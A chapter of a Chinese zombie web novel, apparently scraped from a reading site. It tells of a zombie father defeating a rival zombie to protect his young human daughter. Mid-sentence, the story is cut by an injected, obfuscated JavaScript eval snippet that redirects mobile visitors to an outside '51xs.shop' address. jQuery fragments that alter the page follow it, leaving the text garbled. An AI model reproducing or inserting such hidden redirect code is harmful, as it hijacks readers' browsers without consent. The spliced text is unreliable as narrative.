10.第 10 章
    一山不容二虎,一城不容两个丧尸头头。

    卧室的窗户被拉响,姜满透过衣柜透光的缝隙看到男人跳了出去,窗户半掩着吹来一阵冷风。

    在这个世界,姜满逐渐习惯夜半时分的丧尸吼叫,但此刻,窗户外的嘶吼声很是不同。

    那声音更加尖锐刺耳,仿佛要穿透她的耳膜。

    小孩子对环境的变化尤为敏感,姜满白着脸捂住了自己的耳朵,她的心脏跳动得远比平日里要快,似乎有什么事情要发生。

    她将眼睛贴在缝隙处,试图找到爸爸的踪影。

    没有。

    房间里安静得只能听到她自己的呼吸声和心跳声,窗外又是一道高昂的怒吼。

    在几天前,姜暮还能管辖在他领地上的普通丧尸,他在人类的时候就是异能者,被咬后直接跳跃到了二级丧尸,很自然地就掌握了低级丧尸的指挥权。

    就算有不听从指令的前来挑衅他,姜暮也能将丧尸揍得满地找牙。

    或许是这段时间的松懈,因为身边多了一个人类幼崽而放松了对丧尸的掌控,失去了附近有关于丧尸的讯息。

    全然不知眼前的丧尸是在这片领地里成长至此的还是从其他地方过来的,这才导致了如今的画面。

    在他面前的是一个同样等级的丧尸,相较于这段时间只吃血包的姜暮,对面的寸头男不仅在体型上更高更壮,而且身上的血腥气息浓厚得可怕,显然是吞噬了不少血肉才成长至此。

    丧尸靠吞噬成长,虽然在相同等级但也有强弱之分。

    弯月挂在枝头,两道黑影已然撕打在一团。

    你来我往,杀招不断,两个丧尸身上的伤口也越来越多。

    大道上的普通丧尸也不敢吱声,在阶级的压制下他们只能不住地观望,偶尔从带来的秋风里嗅到人类的气息,却有无从寻找,只能茫然地蹒跚行走。

    姜暮侧头,避开袭向大脑的锋利指甲,但额头还是被刮出一道血痕。他本就浑身污渍,如今更是狼狈不堪。

    耳边传来敲击玻璃的动静,姜暮下意识朝着二楼窗户望去,窗户边缘不知何时挂着一只灵活的丧尸,或许是嗅到了屋内的人味一点点攀爬上去,最后抓住了窗沿。

    “嗬嗬嗬——”

    被啃掉一半脸的丧尸裸露着牙床,红瞳贪婪地窥视着窗内的风景,表情怪异又可怕。

    姜暮一脚踹飞压制住他的强壮丧尸,朝着窗户的方向发出警告的嘶吼。

    丧尸在饿极的情况下并不会太听话,食物的气息钻进他的五脏六腑中,勾出了腹中的馋虫,他饥饿难耐,无视身后的压迫感怪叫着探入了上半身。

    衣柜里的孩子眼睛瞪得滚圆,下意识捂住了自己的嘴巴,愣是一点动静也没发出来。

    她眼看着那个怪叔叔伸出干枯的手掌,锋利的指甲像是尖刀,仿佛下一秒就要刮在她的脸上。

    在急速的心跳声中,挂在窗户上的男人被什么东西抓住了一般,身影突然消失不见。

    啪的一声,窗户被人用力阖上,姜满耳畔还回荡着余音。即使只看到手臂,姜满还是认出了那是谁。

    爸爸,她在心里喊了一声。

    窗外的气氛愈发凝滞,方才那只丧尸的动静太大,再加上姜暮的反应让那只强壮的丧尸发现了端倪。

    他的嗅觉远比普通丧尸更灵敏。

    刚来到这个地方率先被姜暮的气息吸引了注意,以至于没发现丧尸云集之地居然还藏匿着一道美食。

    寸头丧尸嘴里发出嗬嗬声,他抓住那只爬窗的丧尸试图从他口中得到更详细的信息,只是还没来得及细问,身后探出的手动作利落地划过普通丧尸的脖颈。

    脑袋像皮球一样滚落在地,唯有那张嘴还在发出嗬嗬的声响,半晌后没了动静。

    寸头丧尸成功被惹怒了。

    眼前这个男人是他踏入新领地后的绊脚石,今天必须要有个了断。

    男人虬结肌肉鼓起,猛地朝着姜暮冲去。

    被关紧的窗户依旧盖不住下方的打斗声,周围的建筑脆弱些的直接被撞断,原先宽阔的大路上砖头玻璃碎了一地。

    即使身体还残留着人类时期的战斗技巧,作为更弱的一方,姜暮被一大块石砖压住了身躯,挣扎了半晌没能爬起来。

    这场战斗在这一刻最终分出了胜负。

    胜方踏着戏谑的脚步朝他走来。

    姜暮被踩住脖子用力碾压着,仔细听还能听到骨头断裂的声响。

    寸头丧尸保留着人类的习性,对于手下败将却没有痛下杀手,反而看着他动弹不得的样子发出嗬嗬的嘲笑声。

    犹如人类世界里对弱小同类的嘲笑。

    姜暮静静地躺在那,仿佛跟死了没什么区别。

    唯有那双红瞳移动了方向,转而盯着寸头丧尸轻松地跃上了二楼窗户。

    战斗了一场,寸头丧尸嗅到人味时变得饥饿暴躁起来。

    阻碍行动的窗户抵不过一拳,小洋房的复古玻璃在拳头下被击了个粉碎。

    屋内的人气一股脑地扑到他的脸上,像是走进了一家面馆,香气将他整个包裹住。

    寸头丧尸精神一振,直接跳了进去。

    卧室里没有灯,但他和姜暮一样夜能视物。

    宛如一个得胜归来的猎手大摇大摆在卧室里寻找,他的破坏欲极强,直接掀开了那张大木床,在最容易藏匿小老鼠的地方进行了检查。

    没有。

    除了大床,就只剩下那一排整齐的衣柜。

    和普通丧尸的猴急并不相同,他享受着捉迷藏的乐趣,猫咪在抓到老鼠后会极有耐心地玩弄一阵才会吞入腹中。

    他也一样。

    恐惧能加快血液流动,让每一口肉变得更为香甜。

    他脚步很重,一步一步地站在了衣柜前,嘴里咕噜噜地声响仿佛在逗弄躲藏的孩子。

    猛地掀开第一个衣柜,挥开遮挡视线的衣物,并没有藏人。

    他又走到了第二个衣柜停顿了一秒,才慢吞吞地打开衣柜将头探入。

    依旧没有。

    寸头丧尸的咕噜声变得低沉,他径直走向了最后一个衣柜,这里的气味最浓郁,简直将答案送到了他的嘴边。

    手掌搭在把手处,红瞳在兴奋中逐渐缩成一条线。

    姜满缩起身体,抱着小莲几乎不敢睁眼。

    窗外一阵疾风裹挟着秋夜的冷意杀来,寸头丧尸下意识回头抬手抵挡,却被一道锋利的土刃扎透。

    痛意加深了丧尸的怒意,他将小点心抛在脑后,粗鲁地扯下土刃朝着姜暮冲去。

    先前拼尽全力也无法打败对方的姜暮如今更不是寸头丧尸的对手。

    他被逼的一

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14200705|150794||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    直后退,脑袋受过重击后也影响他如今的视力,在还没反应过来时对方的指甲已经穿透了他的肩胛骨,丧尸没有流动的血液,如今也不过是黑色的液体顺着脏污的布条流下。

    丧尸的本能在疯狂叫嚣,在被放过的那一刻、在对手弃他不顾转头去寻找食物的那一刻,他应该遵守本能逃离那里,去寻找自己的生机。

    姜暮已经看不清东西了,他抓住插.入身体的手试图稳住自己的身体,余光捕捉到对手身后的衣柜被打开,有个小孩从里面走了出来。

    在失去视力后,听觉仿佛变得更为灵敏。

    小孩的笑声他听过很多次,像是挂在枝头上吸收最多养分的甜苹果,姜满甜丝丝地喊着他爸爸。

    很吵闹,但他并不讨厌。

    但现在她好像并没有在笑,抽噎的声音像把小铲子挖呀挖,挖出他的五脏六腑,挖出他被病毒压制的人类情感,姜暮从中汲取了力气,抓住男人的手也更加用力。

    寸头丧尸沾满血腥的手从他身体里抽.出,转而捏住了姜暮的脖子将他提了起来。

    手下败将过于纠缠,他也结束了戏弄的游戏决定送他去见阎王。

    只是不等他动手,耳畔有什么东西攀爬上来,他伸手去抓,那会游动的东西却滑溜得很,待他看清那是藤条一样的东西,眼睛被扎穿的痛意让他大叫了起来。

    手上力道一松,姜暮落地的那一刻,手掌凝聚而成的土刃再度出现,这一次他瞄准位置扎入了寸头丧尸的大脑中。

    耗尽最后一丝力气的姜暮再也无法站立,在身体向后倒去时,浑浊的红瞳往小孩的身上看了最后一眼,抓住寸头丧尸的尸体往楼下坠去。

    他太累了——

    脚腕猛然一紧,姜暮的身体僵在半空中一点一点被小莲拉了上去。

    重新回到二楼的姜暮能感受到小孩云朵一般扑在他的怀里,滚烫的液体落在他的伤口上,更疼了。

    “爸爸……”

    小孩的哭泣像是有人在拉断弦的二胡,一下又一下,拉扯着姜暮的神经。

    他感觉到生机在流逝,眼皮重得再也睁不开。

    他想发声却怎么也发不出来,被小孩握着的手掌缓缓落了下去又被姜满着急地抱在怀里。

    “爸爸你不能睡觉……”姜满哭的小鼻子都红了,她伸出手摸了摸爸爸的脸颊,他平日里都会避开她的触碰,但这一次没有。

    姜满瘪着嘴擦了一把脸上的泪水,她碰到姜暮干燥的嘴唇,似乎是想到什么从手指挤出了水珠放在爸爸的嘴里。

    她拼命地挤出水滴,到最后再也挤不出来。

    小孩也用尽了力气,她揉搓着通红的眼睛,疲惫地蜷缩着身体回归了爸爸的怀抱里。

    一大一小安静地像是已经死去。

    冷风从破坏的窗口灌入,小莲尽职尽责地从角落里找到被子,扯动着盖在两人身上。

    它信奉姜满为主人,姜满在衣柜里求它去帮助爸爸时它才开始动手。而如今,即使姜满没有对它有任何要求,它也知道自己应该做些什么。

    无数枝条从她身体里钻出,牢固的扒在破口边缘,形成了一张坚不可摧的盾抵挡寒风和丧尸的侵袭。

    翌日第一缕阳光透入屋内,躺在地上的男人缓缓睁开了眼。

    他低头望向怀里的孩子,用被子把她裹紧了一些。